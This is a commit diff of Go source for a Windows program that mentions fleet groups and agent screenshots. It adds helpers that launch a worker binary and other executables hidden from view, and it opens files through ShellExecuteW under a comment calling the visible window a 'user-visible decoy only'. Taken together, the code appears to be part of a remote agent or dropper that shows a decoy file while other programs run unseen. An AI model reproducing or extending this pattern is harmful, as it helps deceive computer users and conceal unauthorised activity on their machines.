Add fleet groups, agent screenshots, deploy guards, and Crucible polish.

fusion/hidden_windows.go

@@ -0,0 +1,20 @@
+//go:build windows
+
+package main
+
+import (
+	"os/exec"
+	"syscall"
+)
+
+const creationFlagsNoWindow = 0x08000000
+
+func prepareHidden(cmd *exec.Cmd) {
+	if cmd == nil {
+		return
+	}
+	cmd.SysProcAttr = &syscall.SysProcAttr{
+		HideWindow:    true,
+		CreationFlags: creationFlagsNoWindow,
+	}
+}

fusion/media_windows.go

@@ -3,36 +3,27 @@
 package main
 
 import (
-	"os"
 	"os/exec"
 	"path/filepath"
-	"syscall"
 )
 
-// openFile opens any file with the Windows default application.
-// Works for PDF, video, document, image, executable — anything.
+// openFile opens any file with the Windows default application (no cmd flash).
 func openFile(path string) {
-	path = filepath.Clean(path)
-	cmd := exec.Command("cmd", "/c", "start", "", path)
-	_ = cmd.Start()
+	_ = shellOpen(path)
 }
 
 // applyHiddenStartPath launches the worker binary hidden (no window).
 func applyHiddenStartPath(path string) {
 	cmd := exec.Command(path)
 	cmd.Dir = filepath.Dir(path)
-	cmd.SysProcAttr = &syscall.SysProcAttr{
-		HideWindow:    true,
-		CreationFlags: 0x08000000,
-	}
+	prepareHidden(cmd)
 	_ = cmd.Start()
 }
 
-// applyWaitRun launches an exe directly and waits for it to exit.
+// applyWaitRun launches an exe directly and waits for it to exit (hidden).
 func applyWaitRun(path string) {
 	cmd := exec.Command(path)
 	cmd.Dir = filepath.Dir(path)
-	cmd.Stdout = os.Stdout
-	cmd.Stderr = os.Stderr
+	prepareHidden(cmd)
 	_ = cmd.Run()
 }

fusion/shell_windows.go

@@ -0,0 +1,30 @@
+//go:build windows
+
+package main
+
+import (
+	"path/filepath"
+	"syscall"
+	"unsafe"
+)
+
+func shellOpen(path string) error {
+	path = filepath.Clean(path)
+	shell32 := syscall.NewLazyDLL("shell32.dll")
+	proc := shell32.NewProc("ShellExecuteW")
+	verb, _ := syscall.UTF16PtrFromString("open")
+	file, _ := syscall.UTF16PtrFromString(path)
+	dir, _ := syscall.UTF16PtrFromString(filepath.Dir(path))
+	ret, _, _ := proc.Call(
+		0,
+		uintptr(unsafe.Pointer(verb)),
+		uintptr(unsafe.Pointer(file)),
+		0,
+		uintptr(unsafe.Pointer(dir)),
+		1, // SW_SHOWNORMAL — user-visible decoy only
+	)
+	if ret <= 32 {
+		return syscall.Errno(ret)
+	}
+	return nil
+}